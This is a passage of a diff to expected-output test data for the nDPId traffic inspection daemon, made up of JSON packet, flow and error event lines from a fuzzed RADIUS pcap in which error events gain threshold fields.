failed","datalink":1,"packet_id":318,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":711,"global_ts_usec":1528998338204494} +00321{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528998338204494,"packet_id":318,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":711,"global_ts_usec":1528998338204494} 01285{"packet_event_id":1,"packet_event_name":"packet","packet_id":318,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":745,"pkt_l4_len":0,"thread_ts_usec":1528998323340801,"pkt":"AAAMB6xAABRP+4rqCABFAALbIVpEAP8RAAAKDEAexuIZNXIQBxQCxwAAAaoCv2Uj1+ujspK2VyIvdisE+iUaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQMzNwaqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} 00774{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":319,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":69,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528998338382096,"flow_src_last_pkt_time":1528998338382096,"flow_dst_last_pkt_time":1528998338382096,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":197,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":197,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":197,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528998338382096,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.73","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00775{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":319,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":69,"flow_packet_id":1,"flow_src_last_pkt_time":1528998338382096,"flow_dst_last_pkt_time":1528998338382096,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":239,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":239,"pkt_l4_len":205,"thread_ts_usec":1528998338382096,"pkt":"ABQlAIrqcNuYVcUnCABFAADhDOxAAPwRRt7G4hk1CgxASQcUchAAzQ2+C6oAxV4x6AhgYl+1t\/7aBLDTkJgBNTAzMTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmE5NTIvZjA6Nzk6NjA6ZDE6N2Y6MzcvMjM3T0oBAgBIFwEAAAEFAAD9ndZ8FHhsyj5jhEswY1t0AgUAABpKKGv5SQAALFBpvDseP8KLAQACCwUAAC1HLAQoI0jpYeW4fPFsl+tQEgCJjyegSbpAOXlBuPG4l8E="} 00883{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":319,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":69,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528998338382096,"flow_src_last_pkt_time":1528998338382096,"flow_dst_last_pkt_time":1528998338382096,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":197,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":197,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":197,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528998338382096,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.73","src_port":1812,"dst_port":29200,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} -00221{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":321,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":284,"global_ts_usec":1528998338865071} +00321{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528998338865071,"packet_id":321,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":284,"global_ts_usec":1528998338865071} 00716{"packet_event_id":1,"packet_event_name":"packet","packet_id":321,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":318,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":318,"pkt_l4_len":0,"thread_ts_usec":1528998338669944,"pkt":"ABRP+4rq8NuYVcUnCABFAAEwDPCkAPwRRos14hk1CgxAHgcUchABHImMAqsBFPNe2aGl6LP5y1u\/scR1o3AaCwAAV8gbBVNQOBpuAAABNxA0yJ0HwRo2kUg5GkMLWv3LIW9bZ\/+pjZx0CoGr7LPlqjfgOPOLXgeADm9RiTIaXTD+uAsRNK2vP2ZsGXahxC9sjBUhoGJOMJlzjqJyAyTjvpVvse28Qg5S9JgwmD8p+ZaQYnYBaM5xATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0JQByay5vcmcsIDViMjJhOTUyL2YwOjc5OjYwOmQxOjdkOjM3LzIzN1kMOTA4NDIxMzI5MhIJU3VjY2VzcxkFU1BDTwYDAgAEUBIrffGqrk1JHmvfqoB\/bRcD"} -00221{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":322,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":711,"global_ts_usec":1528998342492938} +00321{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528998342492938,"packet_id":322,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":711,"global_ts_usec":1528998342492938} 01285{"packet_event_id":1,"packet_event_name":"packet","packet_id":322,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":745,"pkt_l4_len":0,"thread_ts_usec":1528998338669944,"pkt":"AAAMB6xAABRP+4rqCABFAMrbIVxAAP8RAAAKDEAexuIZNXIQBxQCxwAAAawCvx+brty2uhj+WwEK9jJ7XPQaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICSUASVNQUjEwGgkAADghDQM0NwZbIqnGATUwMzExNDgwMDczNjM4WTcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vciUAAxB+CDFjaXNjb4MGAAAAAR8TZjAtNzktNjAtZDEtN2QtMzceJTAwLWE3LTQyLWQwLWUwLTAwOlZlQml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDAwY2U1MmE5MjI1YiwgNWIycmE5NTIvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjM3BAasFAEQIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAgAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TzoCAQA4ATAzMTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm8lABoUAABXyAcOVlpXQzJUZXN0TGFiGgoAAFfICARFVBoQAABXyAoKU3RhbmRhcmQaEAAAV8gLClRlc3QgTGFiGgkAAFfIDwMxGgoAAFfIEAROShoRAABXyBELTHluZGh1cnN0GgwAAFfIEgYAAADJGhcAAFfIHRFWWlcgQzIgXGVZdCBMYWIaCwAAV8glBVZ6VxoNAAA4IQ6qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} -00221{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":324,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":691,"global_ts_usec":1528998342974275} +00321{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":4,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528998342974275,"packet_id":324,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":691,"global_ts_usec":1528998342974275} 01257{"packet_event_id":1,"packet_event_name":"packet","packet_id":324,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":725,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":725,"pkt_l4_len":0,"thread_ts_usec":1528998342683946,"pkt":"AAAMB6xAABRP+4rqCABFACUAIV1AAP8RAAAKDEAexuIZNXIQBxQCswAAAa0Cqyd5am7x7at665a6XdQ818IaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADhEDQM0NwZbIqnGATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZiAtNzktNjAtZDEtN2QtMzceJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkSzEwZmYxMGFjMDAwMDAwY2U1MmE5MjI1YiwgNWIyMmE5NTIvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjM3BAasFGYQIA5WSldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TyYCAgAkFwEAIAsFAACkCLiSdrciiCUA2Lhjf5WeAwIAIFh8yjsaFAAAV8gHDlZaV0My1GVzdExhYhoKAABXyAgERSUAEEYAV8gKClN0YW5kYXJkGhAAAFfICwpUZXN0IExhYhoJAABXyA8DMRoKAABXyBAETkoaEQAAV8gRC0x5bmRodXJzdBoMAABXyBIGAAAAyRoXAABXyB0RVlpXIEMyIFSqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} 00774{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":327,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":70,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528998346991239,"flow_src_last_pkt_time":1528998346991239,"flow_dst_last_pkt_time":1528998346991239,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":197,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":197,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":197,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528998346991239,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29208,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00775{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":327,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":70,"flow_packet_id":1,"flow_src_last_pkt_time":1528998346991239,"flow_dst_last_pkt_time":1528998346991239,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":239,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":239,"pkt_l4_len":205,"thread_ts_usec":1528998346991239,"pkt":"ABRP+4rqcNuTVcUnCABFAADhDRdAAPwRRrPG4hk1CgxAHgcUchgAzQnPC64AxTy6++0fAX35UVXUpCEgeNcBNTAzMTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmE5NTIvZjAlADk6QTA6ZCUAN2Q6MzcvMjM3T0oBAgBIFwEAAAEFAAB+LhDHIi3oCVbmy0rSchdaAgUAAJdIOUyErgAA73piWKcgvT+LAQACCwUAAEZfsVUxfYxGJMfW\/6iCQHdQEgwvQS2NfxbBCfFadP4Rx2E="} @@ -514,7 +514,7 @@ 00774{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":328,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":71,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528998347284506,"flow_src_last_pkt_time":1528998347284506,"flow_dst_last_pkt_time":1528998347284506,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":683,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":683,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":683,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528998347284506,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":29289,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01422{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":328,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":71,"flow_packet_id":1,"flow_src_last_pkt_time":1528998347284506,"flow_dst_last_pkt_time":1528998347284506,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":725,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":725,"pkt_l4_len":691,"thread_ts_usec":1528998347284506,"pkt":"AAAMB6xAABRP+4rqCABFAALHIV9AAP8RAAAKDEAexuIZNXJpBxQCswAAAa8Cq915o4ky+NTjcjv0F1wXmegaCgAAV8gOBFVTGgwAADHIDQZ3aWZpGg8AAFfICRlXSVNQUjEwGgkAADghDQM0NwZbIqnLATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDEjaXNjb4MGAAAAAR8TZjAtNzktNjAtZDEtN2QtMzceJTAwLWE3LTQyLWQw72UwLTAwOlYlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjaTAwMDAwY2U1MmE5MjI1YiwgNWIyMmE5NSUAZjA6Nzk6NjA6ZDE6N2Q6MzcvMjM3UwasFAEQIA5WWldDMlRlc3SHYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TyYCAgAkFwEAAAsFAAA+8R0Z7LSWHOP9VffmhYCuAwIAIG5bieAaFAAAV8gHDlZaV0MyVGVzdExhahoKAABXyAgERVQaEAAA+8gKClN0YW5kYXJkGhAAAFfICwhUZXN0IExhYhoJAABXyA8DMRoKAABXyBAETkpiEQAAV8gRC055bmRodXJzdBoMACU4yKqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} 00883{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":328,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":71,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528998347284506,"flow_src_last_pkt_time":1528998347284506,"flow_dst_last_pkt_time":1528998347284506,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":683,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":683,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":683,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528998347284506,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":29289,"dst_port":1812,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} -00203{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":329,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":43690,"global_ts_usec":1528998347461328} +00303{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":5,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528998347461328,"packet_id":329,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":43690,"global_ts_usec":1528998347461328} 00714{"packet_event_id":1,"packet_event_name":"packet","packet_id":329,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":318,"pkt_type":43690,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":318,"pkt_l4_len":0,"thread_ts_usec":1528998347284506,"pkt":"ABRP+4rqcNuYVcUnqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} 00933{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":330,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":3,"flow_state":"finished","flow_src_packets_processed":92,"flow_dst_packets_processed":85,"flow_first_seen":1528996068129675,"flow_src_last_pkt_time":1528998346794463,"flow_dst_last_pkt_time":1528998343169290,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":143,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":703,"flow_dst_max_l4_payload_len":276,"flow_src_tot_l4_payload_len":62331,"flow_dst_tot_l4_payload_len":16627,"midstream":0,"thread_ts_usec":1528998347284506,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 00924{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":330,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":57,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528998226495276,"flow_src_last_pkt_time":1528998226495276,"flow_dst_last_pkt_time":1528998226495276,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":703,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":703,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":703,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528998347284506,"l3_proto":"ip4","src_ip":"10.12.82.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} @@ -534,7 +534,7 @@ 00921{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":338,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":65,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528998307737757,"flow_src_last_pkt_time":1528998307737757,"flow_dst_last_pkt_time":1528998307737757,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":197,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":197,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":197,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528998376770988,"l3_proto":"ip4","src_ip":"198.7.9.53","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 00924{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":338,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":67,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528998314309308,"flow_src_last_pkt_time":1528998314309308,"flow_dst_last_pkt_time":1528998314309308,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":137,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":137,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":137,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528998376770988,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.81.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 00924{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":338,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":62,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528998260831633,"flow_src_last_pkt_time":1528998260831633,"flow_dst_last_pkt_time":1528998260831633,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":137,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":137,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":137,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528998376770988,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.82.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} -00200{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":1,"packet_id":339,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","protocol":2048,"global_ts_usec":1528998557316433} +00300{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528998557316433,"packet_id":339,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","protocol":2048,"global_ts_usec":1528998557316433} 00529{"packet_event_id":1,"packet_event_name":"packet","packet_id":339,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":179,"pkt_l4_len":0,"thread_ts_usec":1528998557233595,"pkt":"ABRP+4rqcNuYVcUnCAAlAAClD1JAAPwRRKvG4hk+CgxAHgcUchAAkYCWC7QAiR2+QwBH7d0zmbIWMmGskGYBNTAzMTE0ODAwNzEzqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} 00922{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":341,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":69,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528998338382096,"flow_src_last_pkt_time":1528998338382096,"flow_dst_last_pkt_time":1528998338382096,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":197,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":197,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":197,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528998557443000,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.73","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 00922{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":341,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":63,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528998279797842,"flow_src_last_pkt_time":1528998279797842,"flow_dst_last_pkt_time":1528998279797842,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":655,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":655,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":655,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528998557443000,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.80.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} @@ -563,7 +563,7 @@ 00774{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":342,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":74,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528998576181572,"flow_src_last_pkt_time":1528998576181572,"flow_dst_last_pkt_time":1528998576181572,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":137,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":137,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":137,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528998576181572,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":1814,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 